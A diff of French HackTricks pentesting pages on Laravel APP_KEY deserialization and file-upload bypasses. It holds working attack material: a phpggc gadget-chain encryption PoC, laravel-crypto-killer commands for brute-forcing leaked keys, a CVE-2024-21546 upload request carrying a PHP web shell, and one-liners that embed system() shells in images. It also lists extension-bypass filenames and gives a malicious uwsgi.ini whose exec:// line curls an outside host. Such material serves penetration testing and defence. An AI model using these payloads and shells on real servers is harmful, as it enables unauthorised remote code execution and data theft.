`encrypt($value, $serialize=true)` va `serialize()` le texte en clair par défaut, tandis que `decrypt($payload, $unserialize=true)` **va automatiquement `unserialize()`** la valeur décryptée. Par conséquent, **tout attaquant qui connaît le secret de 32 octets `APP_KEY` peut créer un objet PHP sérialisé chiffré et obtenir RCE via des méthodes magiques (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
Injectez la chaîne produite dans n'importe quel point de `decrypt()` vulnérable (paramètre de route, cookie, session, …).
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatise tout le processus et ajoute un mode **bruteforce** pratique :
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
|
||||
# Decrypt a captured cookie / token
|
||||
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
Le script prend en charge de manière transparente à la fois les charges utiles CBC et GCM et régénère le champ HMAC/tag.
|
||||
|
||||
---
|
||||
|
||||
## Modèles vulnérables dans le monde réel
|
||||
|
||||
| Projet | Sink vulnérable | Chaîne de gadgets |
|
||||
|--------|-----------------|-------------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` lorsque `Passport::withCookieSerialization()` est activé | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → Cookie `laravel_session` | Laravel/RCE15 |
|
||||
|
||||
Le flux d'exploitation est toujours :
|
||||
1. Obtenir `APP_KEY` (exemples par défaut, fuite Git, fuite config/.env ou brute-force)
|
||||
2. Générer un gadget avec **PHPGGC**
|
||||
3. `laravel_crypto_killer.py encrypt …`
|
||||
4. Livrer la charge utile via le paramètre/cookie vulnérable → **RCE**
|
||||
|
||||
---
|
||||
|
||||
## Découverte de masse d'APP_KEY via brute-force de cookie
|
||||
|
||||
Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (`XSRF-TOKEN` et généralement `laravel_session`), **les scanners Internet publics (Shodan, Censys, …) fuient des millions de textes chiffrés** qui peuvent être attaqués hors ligne.
|
||||
|
||||
Principales conclusions de la recherche publiée par Synacktiv (2024-2025) :
|
||||
* Ensemble de données juillet 2024 » 580 k tokens, **3,99 % des clés craquées** (≈23 k)
|
||||
* Ensemble de données mai 2025 » 625 k tokens, **3,56 % des clés craquées**
|
||||
* >1 000 serveurs toujours vulnérables à la CVE-2018-15133 héritée car les tokens contiennent directement des données sérialisées.
|
||||
* Réutilisation massive de clés – les 10 meilleures APP_KEY sont des valeurs par défaut codées en dur livrées avec des modèles Laravel commerciaux (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
L'outil Go privé **nounours** pousse le débit de brute-force AES-CBC/GCM à ~1,5 milliard d'essais/s, réduisant le craquage de l'ensemble de données complet à <2 minutes.
|
||||
|
||||
---
|
||||
|
||||
## Références
|
||||
* [Laravel : analyse de la fuite d'APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – Chaînes de gadgets PHP génériques](https://github.com/ambionics/phpggc)
|
||||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
|
||||
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
|
||||
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Téléversement de fichiers
|
||||
# File Upload
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Méthodologie générale de téléversement de fichiers
|
||||
## File Upload General Methodology
|
||||
|
||||
Autres extensions utiles :
|
||||
|
||||
@ -15,13 +15,13 @@ Autres extensions utiles :
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Contourner les vérifications d'extensions de fichiers
|
||||
### Bypass file extensions checks
|
||||
|
||||
1. Si elles s'appliquent, **vérifiez** les **extensions précédentes.** Testez-les aussi en utilisant des **lettres majuscules** : _pHp, .pHP5, .PhAr ..._
|
||||
1. Si applicable, vérifiez les **extensions précédentes**. Testez-les aussi en utilisant des **lettres MAJUSCULES** : _pHp, .pHP5, .PhAr ..._
|
||||
2. _Vérifiez **l'ajout d'une extension valide avant** l'extension d'exécution (utilisez aussi les extensions précédentes) :_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Essayez d'ajouter **des caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforcer** tous les caractères **ascii** et **Unicode**. (_Notez que vous pouvez aussi essayer d'utiliser les **extensions** mentionnées précédemment_)
|
||||
3. Essayez d'ajouter des **caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforce** tous les caractères **ascii** et **Unicode**. (_Notez que vous pouvez aussi essayer d'utiliser les **extensions** précédemment mentionnées_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Autres extensions utiles :
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Essayez de contourner les protections en **trompant le parseur d'extensions** côté serveur avec des techniques comme le **doublage** de l'**extension** ou **l'ajout de données junk** (octets **null**) entre les extensions. _Vous pouvez aussi utiliser les **extensions** précédentes pour préparer un meilleur payload._
|
||||
4. Essayez de contourner les protections en **tricking the extension parser** côté serveur avec des techniques comme **doubling** l'**extension** ou **adding junk** (octets **null**) entre les extensions. _You can also use the **previous extensions** to prepare a better payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,18 +40,18 @@ Autres extensions utiles :
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Ajoutez **une autre couche d'extensions** aux contrôles précédents :
|
||||
5. Ajoutez **another layer of extensions** au contrôle précédent :
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Essayez de mettre l'**extension d'exécution avant l'extension valide** et espérez que le serveur est mal configuré. (utile pour exploiter des misconfigurations Apache où tout ce qui a l'extension **.php**, mais **n'ayant pas nécessairement .php à la fin**, exécutera du code) :
|
||||
6. Essayez de mettre l'**exec extension before the valid extension** et espérez que le serveur est mal configuré. (utile pour exploiter des misconfigurations Apache où tout fichier dont l'extension contient **.php**, mais **n'ayant pas forcément .php en fin de nom**, exécutera du code) :
|
||||
- _ex: file.php.png_
|
||||
7. Utilisation des **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par ex. "file.asax:.jpg”). Ce fichier pourrait être édité plus tard via d'autres techniques comme l'utilisation de son short filename. Le pattern "**::$data**” peut aussi être utilisé pour créer des fichiers non vides. Ainsi, l'ajout d'un point après ce pattern peut aussi être utile pour contourner d'autres restrictions (par ex. "file.asp::$data.”)
|
||||
8. Essayez de dépasser les limites de nom de fichier. L'extension valide est tronquée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
|
||||
7. Utilisation de **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une autorisée. En résultat, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par ex. "file.asax:.jpg"). Ce fichier peut être modifié plus tard en utilisant d'autres techniques comme son nom de fichier court. Le motif "**::$data**" peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un caractère point après ce motif peut aussi être utile pour bypasser d'autres restrictions (par ex. "file.asp::$data.").
|
||||
8. Essayez de dépasser les limites de longueur du nom de fichier. L'extension valide est tronquée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Contourner Content-Type, Magic Number, Compression & Redimensionnement
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
- Contournez les vérifications de **Content-Type** en définissant la **valeur** de l'en-tête **Content-Type** sur : _image/png_ , _text/plain , application/octet-stream_
|
||||
Certains gestionnaires d'upload suppriment ou normalisent les caractères point final du nom de fichier enregistré. Dans UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions antérieures à 2.9.1, vous pouvez contourner la validation d'extension en :
|
||||
|
||||
- Utilisant un MIME image valide et l'en-tête magique correspondant (par ex., PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Nommant le fichier uploadé avec une extension PHP suivie d'un point, par ex. `shell.php.`.
|
||||
- Le serveur supprime le point final et conserve `shell.php`, qui s'exécutera s'il est placé dans un répertoire servi par le web (storage public par défaut comme `/storage/files/`).
|
||||
|
||||
Minimal PoC (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
|
||||
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
|
||||
Content-Type: image/png
|
||||
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Puis accédez au chemin enregistré (typique dans Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Mitigations:
|
||||
- Mettre à jour unisharp/laravel-filemanager vers ≥ 2.9.1.
|
||||
- Appliquer des allowlists strictes côté serveur et re-valider le nom de fichier persisté.
|
||||
- Servir les uploads depuis des emplacements non exécutables.
|
||||
|
||||
### Contourner Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Contourner les contrôles de **Content-Type** en définissant la **valeur** de l'**en-tête** **Content-Type** à : _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Contournez la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (pour tromper la commande _file_). Ou introduisez le shell dans les **metadata** :\
|
||||
- Contourner le contrôle du **magic number** en ajoutant au début du fichier les **octets d'une image réelle** (pour tromper la commande _file_). Ou introduire le shell dans les **métadonnées**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ou vous pouvez aussi **introduire le payload directement** dans une image :\
|
||||
`\` ou vous pouvez aussi **introduire le payload directement** dans une image:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Si une **compression** est appliquée à votre image, par exemple via des bibliothèques PHP standards comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le **PLTE chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- Si une **compression est appliquée à votre image**, par exemple en utilisant certaines librairies PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le **PLTE chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- La page web peut aussi **redimensionner** l'**image**, par exemple en utilisant les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser le **IDAT chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- La page web peut aussi être en train de **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Toutefois, vous pouvez utiliser le **IDAT chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser le **tEXt chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Toutefois, vous pouvez utiliser le **tEXt chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Autres astuces à vérifier
|
||||
### Other Tricks to check
|
||||
|
||||
- Trouvez une vulnérabilité permettant de **renommer** le fichier déjà uploadé (pour changer l'extension).
|
||||
- Trouvez une vulnérabilité **Local File Inclusion** pour exécuter le backdoor.
|
||||
- **Divulgation d'information possible** :
|
||||
1. Téléversez **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom**
|
||||
2. Téléversez un fichier portant le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà**
|
||||
3. Téléverser un fichier nommé **"." , ".." ou "…"**. Par exemple, sous Apache sur **Windows**, si l'application sauvegarde les fichiers uploadés dans "/www/uploads/", le nom de fichier "." créera un fichier appelé "uploads" dans le répertoire "/www/".
|
||||
4. Téléversez un fichier qui peut ne pas être facilement supprimé, comme **"…:.jpg”** sur **NTFS**. (Windows)
|
||||
5. Téléversez un fichier sous **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom. (Windows)
|
||||
6. Téléversez un fichier sous **Windows** en utilisant des noms **réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, et LPT9.
|
||||
- Essayez aussi de **téléverser un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** si ouvert accidentellement par la victime.
|
||||
- Trouver une vulnérabilité permettant de **renommer** le fichier déjà uploadé (pour changer l'extension).
|
||||
- Trouver une vulnérabilité de **Local File Inclusion** pour exécuter la backdoor.
|
||||
- **Possible Information disclosure** :
|
||||
1. Téléverser **plusieurs fois** (et **en même temps**) le **même fichier** avec le **même nom**
|
||||
2. Téléverser un fichier portant le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà**
|
||||
3. Téléverser un fichier nommé **"."**, **".."** ou **"..."**. Par exemple, sous Apache sur **Windows**, si l'application sauvegarde les fichiers uploadés dans "/www/uploads/" directory, le nom de fichier "." créera un fichier appelé "uploads" dans le "/www/" directory.
|
||||
4. Téléverser un fichier qui peut être difficile à supprimer comme **"…:.jpg"** sur **NTFS**. (Windows)
|
||||
5. Téléverser un fichier sous **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom. (Windows)
|
||||
6. Téléverser un fichier sous **Windows** en utilisant des noms **réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
- Essayez aussi de **téléverser un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera ouvert accidentellement par la victime.
|
||||
|
||||
### Astuces spéciales d'extension
|
||||
### Special extension tricks
|
||||
|
||||
Si vous essayez de téléverser des fichiers sur un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Si vous essayez de téléverser des fichiers sur un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Si vous essayez de téléverser des fichiers sur un **serveur PHP**, [regardez le truc **.htaccess** pour exécuter du code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Si vous essayez de téléverser des fichiers sur un **serveur ASP**, [regardez le truc **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Les fichiers `.phar` sont comme les `.jar` pour java, mais pour php, et peuvent être **utilisés comme un fichier php** (exécutés avec php, ou inclus dans un script...)
|
||||
Les fichiers `.phar` sont comme les `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier php** (exécutés avec php, ou inclus dans un script...)
|
||||
|
||||
L'extension `.inc` est parfois utilisée pour des fichiers php qui ne sont utilisés que pour **importer des fichiers**, donc, à un moment donné, quelqu'un pourrait avoir permis **l'exécution de cette extension**.
|
||||
L'extension `.inc` est parfois utilisée pour des fichiers php destinés uniquement à **importer des fichiers**, donc, il est possible qu'à un moment donné quelqu'un ait autorisé **l'exécution de cette extension**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Si vous pouvez téléverser un fichier XML dans un serveur Jetty, vous pouvez obtenir une RCE car les nouveaux *.xml et *.war sont automatiquement traités. Donc, comme indiqué dans l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell !
|
||||
Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obtenir [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Ainsi, comme mentionné dans l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Pour une exploration détaillée de cette vulnérabilité consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Les vulnérabilités Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé sous la forme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schemes supportés par uWSGI, le scheme "exec" est particulièrement puissant, permettant la lecture des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier de configuration `.ini` est traité.
|
||||
Les vulnérabilités de Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique incorporant des variables "magiques", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé sous la forme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schemes supportés par uWSGI, le scheme "exec" est particulièrement puissant, permettant de lire des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être détournée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier `.ini` est traité.
|
||||
|
||||
Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant, montrant divers schemes :
|
||||
Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant, démontrant divers schemes:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
L'exécution du payload se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (potentiellement après un crash ou en raison d'une Denial of Service attack) soit le fichier doit être configuré en auto-reload. La fonctionnalité auto-reload, si elle est activée, recharge le fichier à des intervalles spécifiés lorsqu'elle détecte des changements.
|
||||
L'exécution du payload a lieu lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le uWSGI process doit soit être redémarré (éventuellement après un crash ou à cause d'une Denial of Service attack), soit le fichier doit être configuré en auto-reload. La fonction auto-reload, si activée, recharge le fichier à des intervalles spécifiés lorsqu'un changement est détecté.
|
||||
|
||||
Il est crucial de comprendre le caractère laxiste de l'analyse des fichiers de configuration de uWSGI. Plus précisément, le payload évoqué peut être inséré dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi la portée des possibilités d'exploitation.
|
||||
Il est crucial de comprendre la permissivité de l'analyse du fichier de configuration de uWSGI. Plus précisément, le payload discuté peut être inséré dans un fichier binaire (comme une image ou un PDF), élargissant ainsi la portée de l'exploitation possible.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Dans certains cas, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous pouvez **indiquer** l'**URL**. Dans ces situations, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist pour s'assurer que seuls des fichiers autorisés seront téléchargés. Cependant, **this check can be bypassed.**\
|
||||
La longueur maximale d'un filename sous linux est de 255, cependant, `wget` tronque les filenames à 236 caractères. Vous pouvez télécharger un fichier appelé "A"\*232+".php"+".gif", ce nom de fichier bypassera la vérification (comme dans cet exemple ".gif" est une extension valide) mais `wget` renommera le fichier en "A"\*232+".php".
|
||||
Dans certains cas, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous pouvez **indiquer** l'**URL**. Dans ces situations, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist afin de s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
|
||||
La **longueur maximale** d'un **nom de fichier** sous **linux** est **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger** un fichier appelé "A"\*232+".php"+".gif" — ce nom de fichier contourn e la **vérification** (dans cet exemple **".gif"** est une **extension** valide) mais `wget` renommer a le fichier en "A"\*232+".php".
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Notez que **une autre option** à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le **serveur HTTP redirige vers un fichier différent**, ainsi l'URL initiale contournera la vérification puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **sauf si** wget est utilisé avec le **paramètre** `--trust-server-names` parce que **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL originale**.
|
||||
Notez que **une autre option** à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le **HTTP server redirige vers un fichier différent**, de sorte que l'URL initiale contournera la vérification puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **à moins que** wget soit utilisé avec le **parameter** `--trust-server-names` parce que **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL originale**.
|
||||
|
||||
## Tools
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) est un outil puissant conçu pour aider les Pentesters et Bug Hunters à tester les mécanismes d'upload de fichiers. Il exploite diverses techniques de bug bounty pour simplifier le processus d'identification et d'exploitation des vulnérabilités, garantissant des évaluations approfondies des applications web.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) est un outil puissant conçu pour aider les Pentesters and Bug Hunters à tester les mécanismes d'upload de fichiers. Il exploite diverses bug bounty techniques pour simplifier le processus d'identification et d'exploitation des vulnérabilités, garantissant des évaluations approfondies des applications web.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
Certains handlers d'upload legacy qui utilisent `snprintf()` ou des fonctions similaires pour construire des tableaux multi-fichiers à partir d'un upload single-file peuvent être trompés pour forger la structure `_FILES`. En raison d'incohérences et de troncatures dans le comportement de `snprintf()`, un upload soigneusement construit peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant la logique qui suppose une forme stricte (par ex., la traiter comme un upload multi-fichiers et prendre des branches non sûres). Bien que niche aujourd'hui, ce pattern de «corruption d'indices» réapparaît occasionnellement dans des CTFs et des bases de code plus anciennes.
|
||||
